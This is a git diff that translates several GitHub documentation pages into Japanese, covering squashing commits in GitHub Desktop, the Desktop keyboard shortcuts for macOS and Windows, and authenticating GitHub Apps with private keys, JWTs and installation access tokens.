+- [リポジトリ用に Issue テンプレートを設定する](/articles/configuring-issue-templates-for-your-repository)
+- 「[クエリパラメータによる Issue およびプルリクエストの自動化について](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters)」
+- [Issue の作成](/articles/creating-an-issue)
diff --git a/translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits.md b/translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits.md
index 56aa0062b9..968cb09af4 100644
--- a/translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits.md
+++ b/translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits.md
@@ -16,7 +16,7 @@ Squashing allows you to combine multiple commits in your branch's history into a
 {% data reusables.desktop.current-branch-menu %}
 2. In the list of branches, select the branch that has the commits that you want to squash.
 {% data reusables.desktop.history-tab %}
-4. Select the commits to squash and drop them on the commit you want to combine them with. You can select one commit or select multiple commits using <kbd>⌘</kbd> or <kbd>Shift</kbd>. ![squash drag and drop](/assets/images/help/desktop/squash-drag-and-drop.png)
+4. Select the commits to squash and drop them on the commit you want to combine them with. You can select one commit or select multiple commits using <kbd>Command</kbd> or <kbd>Shift</kbd>. ![squash drag and drop](/assets/images/help/desktop/squash-drag-and-drop.png)
 5. Modify the commit message of your new commit. The commit messages of the selected commits you want to squash are pre-filled into the **Summary** and **Description** fields.
 6. Click **Squash Commits**.
 
diff --git a/translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/overview/keyboard-shortcuts.md b/translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/overview/keyboard-shortcuts.md
index cf34ff73d0..f461f2cce2 100644
--- a/translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/overview/keyboard-shortcuts.md
+++ b/translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/overview/keyboard-shortcuts.md
@@ -1,6 +1,6 @@
 ---
-title: Keyboard shortcuts
-intro: 'You can use keyboard shortcuts in {% data variables.product.prodname_desktop %}.'
+title: キーボードショートカット
+intro: '{% data variables.product.prodname_desktop %}ではキーボードショートカットを利用できます。'
 redirect_from:
   - /desktop/getting-started-with-github-desktop/keyboard-shortcuts-in-github-desktop
   - /desktop/getting-started-with-github-desktop/keyboard-shortcuts
@@ -8,113 +8,114 @@ redirect_from:
 versions:
   fpt: '*'
 ---
+
 {% mac %}
 
-GitHub Desktop keyboard shortcuts on macOS
+macOSでのGitHub Desktopキーボードショートカット
 
-## Site wide shortcuts
+## サイト全体のショートカット
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>⌘</kbd><kbd>,</kbd> | Go to Preferences
-|<kbd>⌘</kbd><kbd>H</kbd> | Hide the {% data variables.product.prodname_desktop %} application
-|<kbd>⌥</kbd><kbd>⌘</kbd><kbd>H</kbd> | Hide all other applications
-|<kbd>⌘</kbd><kbd>Q</kbd> | Quit {% data variables.product.prodname_desktop %}
-|<kbd>⌃</kbd><kbd>⌘</kbd><kbd>F</kbd> | Toggle full screen view
-|<kbd>⌘</kbd><kbd>0</kbd> | Reset zoom to default text size
-|<kbd>⌘</kbd><kbd>=</kbd> | Zoom in for larger text and graphics
-|<kbd>⌘</kbd><kbd>-</kbd> | Zoom out for smaller text and graphics
-|<kbd>⌥</kbd><kbd>⌘</kbd><kbd>I</kbd> | Toggle Developer Tools
+| キーボードショートカット                         | 説明                                                         |
+| ------------------------------------ | ---------------------------------------------------------- |
+| <kbd>⌘</kbd><kbd>,</kbd>             | 設定に移動                                                      |
+| <kbd>⌘</kbd><kbd>H</kbd>             | {% data variables.product.prodname_desktop %}のアプリケーションの非表示 |
+| <kbd>⌥</kbd><kbd>⌘</kbd><kbd>H</kbd> | 他の全てのアプリケーションの非表示                                          |
+| <kbd>⌘</kbd><kbd>Q</kbd>             | {% data variables.product.prodname_desktop %}を終了           |
+| <kbd>⌃</kbd><kbd>⌘</kbd><kbd>F</kbd> | フルスクリーン表示をオン/オフにする                                         |
+| <kbd>⌘</kbd><kbd>0</kbd>             | ズームをデフォルトのテキストサイズにリセット                                     |
+| <kbd>⌘</kbd><kbd>=</kbd>             | ズームインして、テキストとグラフィックスを大きくする                                 |
+| <kbd>⌘</kbd><kbd>-</kbd>             | ズームアウトして、テキストとグラフィックスを小さくする                                |
+| <kbd>⌥</kbd><kbd>⌘</kbd><kbd>I</kbd> | デベロッパーツールの表示/非表示                                           |
 
-## Repositories
+## リポジトリ
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>⌘</kbd><kbd>N</kbd> | Add a new repository
-|<kbd>⌘</kbd><kbd>O</kbd> | Add a local repository
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>O</kbd> | Clone a repository from {% data variables.product.prodname_dotcom %}
-|<kbd>⌘</kbd><kbd>T</kbd> | Show a list of your repositories
-|<kbd>⌘</kbd><kbd>P</kbd> | Push the latest commits to {% data variables.product.prodname_dotcom %}
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>P</kbd> | Pull down the latest changes from {% data variables.product.prodname_dotcom %}
-|<kbd>⌘</kbd><kbd>⌫</kbd> | Remove an existing repository
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>G</kbd> | View the repository on {% data variables.product.prodname_dotcom %}
-|<kbd>⌃</kbd><kbd>&grave;</kbd> | Open repository in your preferred terminal tool
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>F</kbd> | Show the repository in Finder
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>A</kbd> | Open the repository in your preferred editor tool
-|<kbd>⌘</kbd><kbd>I</kbd> | Create an issue on {% data variables.product.prodname_dotcom %}
+| キーボードショートカット                         | 説明                                                         |
+| ------------------------------------ | ---------------------------------------------------------- |
+| <kbd>⌘</kbd><kbd>N</kbd>             | 新規リポジトリの追加                                                 |
+| <kbd>⌘</kbd><kbd>O</kbd>             | ローカルリポジトリの追加                                               |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>O</kbd> | {% data variables.product.prodname_dotcom %}からリポジトリをクローンする |
+| <kbd>⌘</kbd><kbd>T</kbd>             | リポジトリリストの表示                                                |
+| <kbd>⌘</kbd><kbd>P</kbd>             | 最新コミットを{% data variables.product.prodname_dotcom %}にプッシュ   |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>P</kbd> | 最新変更を{% data variables.product.prodname_dotcom %}からプルダウン   |
+| <kbd>⌘</kbd><kbd>⌫</kbd>             | 既存リポジトリの削除                                                 |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>G</kbd> | {% data variables.product.prodname_dotcom %}にリポジトリを表示      |
+| <kbd>⌃</kbd><kbd>&grave;</kbd>       | リポジトリをお好みのターミナルツールで開く                                      |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>F</kbd> | Finderでリポジトリを表示                                            |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>A</kbd> | リポジトリをお好みのエディタツールで開く                                       |
+| <kbd>⌘</kbd><kbd>I</kbd>             | {% data variables.product.prodname_dotcom %}でIssueを作成      |
 
-## Branches
+## ブランチ
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>⌘</kbd><kbd>1</kbd> | Show all your changes before committing
-|<kbd>⌘</kbd><kbd>2</kbd> | Show your commit history
-|<kbd>⌘</kbd><kbd>B</kbd> | Show all your branches
-|<kbd>⌘</kbd><kbd>G</kbd> | Go to the commit summary field
-|<kbd>⌘</kbd><kbd>Enter</kbd> | Commit changes when summary or description field is active
-|<kbd>space</kbd>| Select or deselect all highlighted files
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>N</kbd> | Create a new branch
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>R</kbd> | Rename the current branch
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>D</kbd> | Delete the current branch
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>U</kbd> | Update from default branch
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>B</kbd> | Compare to an existing branch
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>M</kbd> | Merge into current branch
-|<kbd>⌃</kbd><kbd>H</kbd> | Show or hide stashed changes
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>C</kbd> | Compare branches on {% data variables.product.prodname_dotcom %}
-|<kbd>⌘</kbd><kbd>R</kbd> | Show the current pull request on {% data variables.product.prodname_dotcom %}
+| キーボードショートカット                         | 説明                                                         |
+| ------------------------------------ | ---------------------------------------------------------- |
+| <kbd>⌘</kbd><kbd>1</kbd>             | コミットする前に全ての変更を表示                                           |
+| <kbd>⌘</kbd><kbd>2</kbd>             | コミット履歴を表示                                                  |
+| <kbd>⌘</kbd><kbd>B</kbd>             | 全てのブランチを表示                                                 |
+| <kbd>⌘</kbd><kbd>G</kbd>             | コミット概要のフィールドに移動                                            |
+| <kbd>⌘</kbd><kbd>Enter</kbd>         | 概要または説明フィールドがアクティブな場合に変更をコミット                              |
+| <kbd>space</kbd>                     | ハイライトされたすべてのファイルを選択または選択解除                                 |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>N</kbd> | 新規ブランチの作成                                                  |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>R</kbd> | 現在ブランチの名前を変更                                               |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>D</kbd> | 現在ブランチの削除                                                  |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>U</kbd> | デフォルトブランチから更新                                              |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>B</kbd> | 既存のブランチと比較                                                 |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>M</kbd> | 現在ブランチにマージ                                                 |
+| <kbd>⌃</kbd><kbd>H</kbd>             | stash した変更の表示または非表示                                        |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>C</kbd> | {% data variables.product.prodname_dotcom %}のブランチを比較       |
+| <kbd>⌘</kbd><kbd>R</kbd>             | 現在のプルリクエストを{% data variables.product.prodname_dotcom %}に表示 |
 
 {% endmac %}
 
 {% windows %}
 
-GitHub Desktop keyboard shortcuts on Windows
+WindowsでのGitHub Desktopキーボードのショートカット
 
-## Site wide shortcuts
+## サイト全体のショートカット
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>Ctrl</kbd><kbd>,</kbd> | Go to Options
-|<kbd>F11</kbd> | Toggle full screen view
-|<kbd>Ctrl</kbd><kbd>0</kbd> | Reset zoom to default text size
-|<kbd>Ctrl</kbd><kbd>=</kbd> | Zoom in for larger text and graphics
-|<kbd>Ctrl</kbd><kbd>-</kbd> | Zoom out for smaller text and graphics
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>I</kbd> | Toggle Developer Tools
+| キーボードショートカット                                | 説明                          |
+| ------------------------------------------- | --------------------------- |
+| <kbd>Ctrl</kbd><kbd>,</kbd>                 | 設定に移動                       |
+| <kbd>F11</kbd>                              | フルスクリーン表示をオン/オフにする          |
+| <kbd>Ctrl</kbd><kbd>0</kbd>                 | ズームをデフォルトのテキストサイズにリセット      |
+| <kbd>Ctrl</kbd><kbd>=</kbd>                 | ズームインして、テキストとグラフィックスを大きくする  |
+| <kbd>Ctrl</kbd><kbd>-</kbd>                 | ズームアウトして、テキストとグラフィックスを小さくする |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>I</kbd> | デベロッパーツールの表示/非表示            |
 
-## Repositories
+## リポジトリ
 
-| Keyboard Shortcut | Description
-|-----------|------------
-|<kbd>Ctrl</kbd><kbd>N</kbd> | Add a new repository
-|<kbd>Ctrl</kbd><kbd>O</kbd> | Add a local repository
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>O</kbd> | Clone a repository from {% data variables.product.prodname_dotcom %}
-|<kbd>Ctrl</kbd><kbd>T</kbd> | Show a list of your repositories
-|<kbd>Ctrl</kbd><kbd>P</kbd> | Push the latest commits to {% data variables.product.prodname_dotcom %}
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>P</kbd> | Pull down the latest changes from {% data variables.product.prodname_dotcom %}
-|<kbd>Ctrl</kbd><kbd>Delete</kbd> | Remove an existing repository
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>G</kbd> | View the repository on {% data variables.product.prodname_dotcom %}
-|<kbd>Ctrl</kbd><kbd>&grave;</kbd> | Open repository in your preferred command line tool
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>F</kbd> | Show the repository in Explorer
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>A</kbd> | Open the repository in your preferred editor tool
-|<kbd>Ctrl</kbd><kbd>I</kbd> | Create an issue on {% data variables.product.prodname_dotcom %}
+| キーボード ショート カット                              | 説明                                                         |
+| ------------------------------------------- | ---------------------------------------------------------- |
+| <kbd>Ctrl</kbd><kbd>N</kbd>                 | 新規リポジトリの追加                                                 |
+| <kbd>Ctrl</kbd><kbd>O</kbd>                 | ローカルリポジトリの追加                                               |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>O</kbd> | {% data variables.product.prodname_dotcom %}からリポジトリをクローンする |
+| <kbd>Ctrl</kbd><kbd>T</kbd>                 | リポジトリリストの表示                                                |
+| <kbd>Ctrl</kbd><kbd>P</kbd>                 | 最新コミットを{% data variables.product.prodname_dotcom %}にプッシュ   |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>P</kbd> | 最新変更を{% data variables.product.prodname_dotcom %}からプルダウン   |
+| <kbd>Ctrl</kbd><kbd>Delete</kbd>            | 既存リポジトリの削除                                                 |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>G</kbd> | {% data variables.product.prodname_dotcom %}にリポジトリを表示      |
+| <kbd>Ctrl</kbd><kbd>&grave;</kbd>           | リポジトリをお好みのコマンドラインルツールで開く                                   |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>F</kbd> | Explorerでリポジトリを表示                                          |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>A</kbd> | リポジトリをお好みのエディタツールで開く                                       |
+| <kbd>Ctrl</kbd><kbd>I</kbd>                 | {% data variables.product.prodname_dotcom %}でIssueを作成      |
 
-## Branches
+## ブランチ
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>Ctrl</kbd><kbd>1</kbd> | Show all your changes before committing
-|<kbd>Ctrl</kbd><kbd>2</kbd> | Show your commit history
-|<kbd>Ctrl</kbd><kbd>B</kbd> | Show all your branches
-|<kbd>Ctrl</kbd><kbd>G</kbd> | Go to the commit summary field
-|<kbd>Ctrl</kbd><kbd>Enter</kbd> | Commit changes when summary or description field is active
-|<kbd>space</kbd>| Select or deselect all highlighted files
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>N</kbd> | Create a new branch
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>R</kbd> | Rename the current branch
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>D</kbd> | Delete the current branch
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>U</kbd> | Update from default branch
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>B</kbd> | Compare to an existing branch
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>M</kbd> | Merge into current branch
-|<kbd>Ctrl</kbd><kbd>H</kbd> | Show or hide stashed changes
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>C</kbd> | Compare branches on {% data variables.product.prodname_dotcom %}
-|<kbd>Ctrl</kbd><kbd>R</kbd> | Show the current pull request on {% data variables.product.prodname_dotcom %}
+| キーボードショートカット                                | 説明                                                         |
+| ------------------------------------------- | ---------------------------------------------------------- |
+| <kbd>Ctrl</kbd><kbd>1</kbd>                 | コミットする前に全ての変更を表示                                           |
+| <kbd>Ctrl</kbd><kbd>2</kbd>                 | コミット履歴を表示                                                  |
+| <kbd>Ctrl</kbd><kbd>B</kbd>                 | 全てのブランチを表示                                                 |
+| <kbd>Ctrl</kbd><kbd>G</kbd>                 | コミット概要のフィールドに移動                                            |
+| <kbd>Ctrl</kbd><kbd>Enter</kbd>             | 概要または説明フィールドがアクティブな場合に変更をコミット                              |
+| <kbd>space</kbd>                            | ハイライトされたすべてのファイルを選択または選択解除                                 |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>N</kbd> | 新規ブランチの作成                                                  |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>R</kbd> | 現在ブランチの名前を変更                                               |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>D</kbd> | 現在ブランチの削除                                                  |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>U</kbd> | デフォルトブランチから更新                                              |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>B</kbd> | 既存のブランチと比較                                                 |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>M</kbd> | 現在ブランチにマージ                                                 |
+| <kbd>Ctrl</kbd><kbd>H</kbd>                 | stash した変更の表示または非表示                                        |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>C</kbd> | {% data variables.product.prodname_dotcom %}のブランチを比較       |
+| <kbd>Ctrl</kbd><kbd>R</kbd>                 | 現在のプルリクエストを{% data variables.product.prodname_dotcom %}に表示 |
 
 {% endwindows %}
diff --git a/translations/ja-JP/content/developers/apps/building-github-apps/authenticating-with-github-apps.md b/translations/ja-JP/content/developers/apps/building-github-apps/authenticating-with-github-apps.md
index c876fc183c..36eeb5c4aa 100644
--- a/translations/ja-JP/content/developers/apps/building-github-apps/authenticating-with-github-apps.md
+++ b/translations/ja-JP/content/developers/apps/building-github-apps/authenticating-with-github-apps.md
@@ -1,5 +1,5 @@
 ---
-title: Authenticating with GitHub Apps
+title: GitHub App による認証
 intro: '{% data reusables.shortdesc.authenticating_with_github_apps %}'
 redirect_from:
   - /apps/building-integrations/setting-up-and-registering-github-apps/about-authentication-options-for-github-apps
@@ -13,61 +13,59 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Authentication
+shortTitle: 認証
 ---
 
 
-## Generating a private key
+## 秘密鍵を生成する
 
-After you create a GitHub App, you'll need to generate one or more private keys. You'll use the private key to sign access token requests.
+GitHub App の作成後は、1 つ以上の秘密鍵を生成する必要があります。 アクセストークンのリクエストに署名するには、この秘密鍵を使用します。
 
-You can create multiple private keys and rotate them to prevent downtime if a key is compromised or lost. To verify that a private key matches a public key, see [Verifying private keys](#verifying-private-keys).
+鍵が危殆化したり、鍵を紛失した場合にダウンタイムを回避するため、複数の秘密鍵を作成してローテーションすることができます。 秘密鍵が公開鍵と適合することを確認するには、[秘密鍵を検証する](#verifying-private-keys)を参照してください。
 
-To generate a private key:
+秘密鍵を生成するには、以下の手順に従います。
 
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.github_apps %}
 {% data reusables.user-settings.modify_github_app %}
-5. In "Private keys", click **Generate a private key**.
-![Generate private key](/assets/images/github-apps/github_apps_generate_private_keys.png)
-6. You will see a private key in PEM format downloaded to your computer. Make sure to store this file because GitHub only stores the public portion of the key.
+5. [Private keys] で、[**Generate a private key**] をクリックします。 ![秘密鍵の生成](/assets/images/github-apps/github_apps_generate_private_keys.png)
+6. お手元のコンピュータにダウンロードされた PEM フォーマットの秘密鍵が表示されます。 このファイルは必ず保存してください。GitHub では公開鍵の部分しか保存しません。
 
 {% note %}
 
-**Note:** If you're using a library that requires a specific file format, the PEM file you download will be in `PKCS#1 RSAPrivateKey` format.
+**注釈:** 特定のファイルフォーマットが必要なライブラリを使用している場合、ダウンロードする PEM ファイルは `PKCS#1 RSAPrivateKey` フォーマットになります。
 
 {% endnote %}
 
-## Verifying private keys
-{% data variables.product.product_name %} generates a fingerprint for each private and public key pair using the SHA-256 hash function. You can verify that your private key matches the public key stored on {% data variables.product.product_name %} by generating the fingerprint of your private key and comparing it to the fingerprint shown on {% data variables.product.product_name %}.
+## 秘密鍵を検証する
+{% data variables.product.product_name %} generates a fingerprint for each private and public key pair using the SHA-256 hash function. 秘密鍵のフィンガープリントを生成し、{% data variables.product.product_name %} で表示されているフィンガープリントと比較することにより、秘密鍵が {% data variables.product.product_name %} に保存宇されている公開鍵と適合することを検証できます。
 
-To verify a private key:
+秘密鍵を検証するには、以下の手順に従います。
 
-1. Find the fingerprint for the private and public key pair you want to verify in the "Private keys" section of your {% data variables.product.prodname_github_app %}'s developer settings page. For more information, see [Generating a private key](#generating-a-private-key).
-![Private key fingerprint](/assets/images/github-apps/github_apps_private_key_fingerprint.png)
-2. Generate the fingerprint of your private key (PEM) locally by using the following command:
+1. {% data variables.product.prodname_github_app %} の開発者設定ページにある [Private keys] セクションで、検証する秘密鍵と公開鍵のペアを見つけます。 詳しい情報については、[秘密鍵を生成する](#generating-a-private-key)を参照してください。 ![秘密鍵のフィンガープリント](/assets/images/github-apps/github_apps_private_key_fingerprint.png)
+2. 次のコマンドを使用して、秘密鍵 (PEM) のフィンガープリントをローカルで生成します。
     ```shell
     $ openssl rsa -in <em>PATH_TO_PEM_FILE</em> -pubout -outform DER | openssl sha256 -binary | openssl base64
     ```
-3. Compare the results of the locally generated fingerprint to the fingerprint you see in {% data variables.product.product_name %}.
+3. ローカルで生成されたフィンガープリントの結果と、{% data variables.product.product_name %} に表示されているフィンガープリントを比較します。
 
-## Deleting private keys
-You can remove a lost or compromised private key by deleting it, but you must have at least one private key. When you only have one key, you will need to generate a new one before deleting the old one.
-![Deleting last private key](/assets/images/github-apps/github_apps_delete_key.png)
+## 秘密鍵を削除する
+紛失や危殆化した秘密鍵は削除できますが、最低 1 つは秘密鍵を所有する必要があります。 鍵が 1 つしかない場合、その鍵を削除する前に新しい鍵を生成する必要があります。 ![直近の秘密鍵を削除する](/assets/images/github-apps/github_apps_delete_key.png)
 
-## Authenticating as a {% data variables.product.prodname_github_app %}
+## {% data variables.product.prodname_github_app %} として認証を行う
 
-Authenticating as a {% data variables.product.prodname_github_app %} lets you do a couple of things:
+{% data variables.product.prodname_github_app %} として認証を行うと、以下のことが可能になります。
 
-* You can retrieve high-level management information about your {% data variables.product.prodname_github_app %}.
-* You can request access tokens for an installation of the app.
+* {% data variables.product.prodname_github_app %} について管理情報の概要を取得できます。
+* アプリケーションのインストールのため、アクセストークンをリクエストできます。
 
-To authenticate as a {% data variables.product.prodname_github_app %}, [generate a private key](#generating-a-private-key) in PEM format and download it to your local machine. You'll use this key to sign a [JSON Web Token (JWT)](https://jwt.io/introduction) and encode it using the `RS256` algorithm. {% data variables.product.product_name %} checks that the request is authenticated by verifying the token with the app's stored public key.
+{% data variables.product.prodname_github_app %} として認証するには、PEM フォーマットで[秘密鍵を生成](#generating-a-private-key)し、ローカルマシンにダウンロードします。 この鍵を使用して [JSON Web Token (JWT)](https://jwt.io/introduction) に署名し、`RS256` アルゴリズムを使用してエンコードします。 {% data variables.product.product_name %} は、トークンをアプリケーションが保存する公開鍵で検証することにより、リクエストが認証されていることを確認します。
 
-Here's a quick Ruby script you can use to generate a JWT. Note you'll have to run `gem install jwt` before using it.
+JWT を生成するために使用できる簡単な Ruby スクリプトを掲載します。 `gem install jwt` を実行してから、このスクリプトを使用してください。
 
 <a name="jwt-payload"></a>
+
 ```ruby
 require 'openssl'
 require 'jwt'  # https://rubygems.org/gems/jwt
@@ -90,19 +88,19 @@ jwt = JWT.encode(payload, private_key, "RS256")
 puts jwt
 ```
 
-`YOUR_PATH_TO_PEM` and `YOUR_APP_ID` are the values you must replace. Make sure to enclose the values in double quotes.
+`YOUR_PATH_TO_PEM` と `YOUR_APP_ID` の値は置き換えてください。 値はダブルクオートで囲んでください。
 
-Use your {% data variables.product.prodname_github_app %}'s identifier (`YOUR_APP_ID`) as the value for the JWT [iss](https://tools.ietf.org/html/rfc7519#section-4.1.1) (issuer) claim. You can obtain the {% data variables.product.prodname_github_app %} identifier via the initial webhook ping after [creating the app](/apps/building-github-apps/creating-a-github-app/), or at any time from the app settings page in the GitHub.com UI.
+{% data variables.product.prodname_github_app %} の識別子 (`YOUR_APP_ID`) を、JWT [iss](https://tools.ietf.org/html/rfc7519#section-4.1.1) (発行者) クレームの値として使用します。 {% data variables.product.prodname_github_app %} 識別子は、[アプリケーションを作成](/apps/building-github-apps/creating-a-github-app/)後の最初の webhook ping から、または GitHub.com UI のアプリケーション設定ページからいつでも取得できます。
 
-After creating the JWT, set it in the `Header` of the API request:
+JWT を作成後は、それを API リクエストの `Header` に設定します。
 
 ```shell
 $ curl -i -H "Authorization: Bearer YOUR_JWT" -H "Accept: application/vnd.github.v3+json" {% data variables.product.api_url_pre %}/app
 ```
 
-`YOUR_JWT` is the value you must replace.
+`YOUR_JWT` の値は置き換えてください。
 
-The example above uses the maximum expiration time of 10 minutes, after which the API will start returning a `401` error:
+上記の例では、最大有効期限として 10 分間を設定し、その後は API が `401` エラーを返し始めます。
 
 ```json
 {
@@ -111,19 +109,19 @@ The example above uses the maximum expiration time of 10 minutes, after which th
 }
 ```
 
-You'll need to create a new JWT after the time expires.
+有効期限が経過した後は、JWT を新しく作成する必要があります。
 
-## Accessing API endpoints as a {% data variables.product.prodname_github_app %}
+## {% data variables.product.prodname_github_app %} として API エンドポイントにアクセスする
 
-For a list of REST API endpoints you can use to get high-level information about a {% data variables.product.prodname_github_app %}, see "[GitHub Apps](/rest/reference/apps)."
+{% data variables.product.prodname_github_app %} の概要を取得するために使用できる REST API エンドポイントの一覧については、「[GitHub App](/rest/reference/apps)」を参照してください。
 
-## Authenticating as an installation
+## インストールとして認証を行う
 
-Authenticating as an installation lets you perform actions in the API for that installation. Before authenticating as an installation, you must create an installation access token. Ensure that you have already installed your GitHub App to at least one repository; it is impossible to create an installation token without a single installation. These installation access tokens are used by {% data variables.product.prodname_github_apps %} to authenticate. For more information, see "[Installing GitHub Apps](/developers/apps/managing-github-apps/installing-github-apps)."
+インストールとして認証を行うと、そのインストールの API でアクションを実行できます。 インストールとして認証を行う前に、インストールアクセストークンを作成する必要があります。 GitHub Appが少なくとも1つのリポジトリにインストールされていることを確認してください。まったくインストールされていない場合、インストールトークンを作成することは不可能です。 インストールアクセストークンは、認証を行うため {% data variables.product.prodname_github_apps %} により使用されます。 詳しい情報については「[GitHub Appのインストール](/developers/apps/managing-github-apps/installing-github-apps)」を参照してください。
 
-By default, installation access tokens are scoped to all the repositories that an installation can access. You can limit the scope of the installation access token to specific repositories by using the `repository_ids` parameter. See the [Create an installation access token for an app](/rest/reference/apps#create-an-installation-access-token-for-an-app) endpoint for more details. Installation access tokens have the permissions configured by the {% data variables.product.prodname_github_app %} and expire after one hour.
+デフォルトでは、インストールトークンのスコープは、インストールがアクセスできるすべてのリポジトリにアクセスできるよう設定されています。 `repository_ids` パラメータを使用すると、インストールアクセストークンのスコープを特定のリポジトリに限定できます。 詳細については、[アプリケーション (エンドポイント) に対するアクセストークンの作成](/rest/reference/apps#create-an-installation-access-token-for-an-app)を参照してください。 インストールアクセストークンは {% data variables.product.prodname_github_app %} によって設定された権限を持ち、1 時間後に期限切れになります。
 
-To list the installations for an authenticated app, include the JWT [generated above](#jwt-payload) in the Authorization header in the API request:
+認証されたアプリケーションのインストールを一覧表示するには、[上記で生成した](#jwt-payload) JWT を API リクエストの Authorization ヘッダに含めます。
 
 ```shell
 $ curl -i -X GET \
@@ -132,9 +130,9 @@ $ curl -i -X GET \
 {% data variables.product.api_url_pre %}/app/installations
 ```
 
-The response will include a list of installations where each installation's `id` can be used for creating an installation access token. For more information about the response format, see "[List installations for the authenticated app](/rest/reference/apps#list-installations-for-the-authenticated-app)."
+レスポンスには、インストールのリストが含まれ、各インストールの `id` がインストールのアクセストークンを作成するために利用できます。 レスポンスのフォーマットに関する詳しい情報については、「[認証されたアプリケーションのインストールの一覧表示](/rest/reference/apps#list-installations-for-the-authenticated-app)」を参照してください。
 
-To create an installation access token, include the JWT [generated above](#jwt-payload) in the Authorization header in the API request and replace `:installation_id` with the installation's `id`:
+インストールアクセストークンを作成するには、[上記で生成した](#jwt-payload) JWT を API リクエストの Authorization ヘッダに含め、`:installation_id` をインストールの `id` に置き換えます。
 
 ```shell
 $ curl -i -X POST \
@@ -143,9 +141,9 @@ $ curl -i -X POST \
 {% data variables.product.api_url_pre %}/app/installations/:installation_id/access_tokens
 ```
 
-The response will include your installation access token, the expiration date, the token's permissions, and the repositories that the token can access. For more information about the response format, see the [Create an installation access token for an app](/rest/reference/apps#create-an-installation-access-token-for-an-app) endpoint.
+レスポンスには、インストールアクセストークン、有効期限、トークンの権限、およびトークンがアクセスできるリポジトリが含まれます。 レスポンスのフォーマットに関する詳しい情報については、[アプリケーション (エンドポイント) に対するアクセストークンの作成](/rest/reference/apps#create-an-installation-access-token-for-an-app)を参照してください。
 
-To authenticate with an installation access token, include it in the Authorization header in the API request:
+インストールアクセストークンで認証を行うには、インストールアクセストークンを API リクエストの Authorization ヘッダに含めます。
 
 ```shell
 $ curl -i \
@@ -154,17 +152,17 @@ $ curl -i \
 {% data variables.product.api_url_pre %}/installation/repositories
 ```
 
-`YOUR_INSTALLATION_ACCESS_TOKEN` is the value you must replace.
+`YOUR_INSTALLATION_ACCESS_TOKEN` の値は置き換えてください。
 
-## Accessing API endpoints as an installation
+## インストールとして API エンドポイントにアクセスする
 
-For a list of REST API endpoints that are available for use by {% data variables.product.prodname_github_apps %} using an installation access token, see "[Available Endpoints](/rest/overview/endpoints-available-for-github-apps)."
+インストールアクセストークンを使用して {% data variables.product.prodname_github_apps %} の概要を取得するために利用できる REST API エンドポイントの一覧については、「[利用可能なエンドポイント](/rest/overview/endpoints-available-for-github-apps)」を参照してください。
 
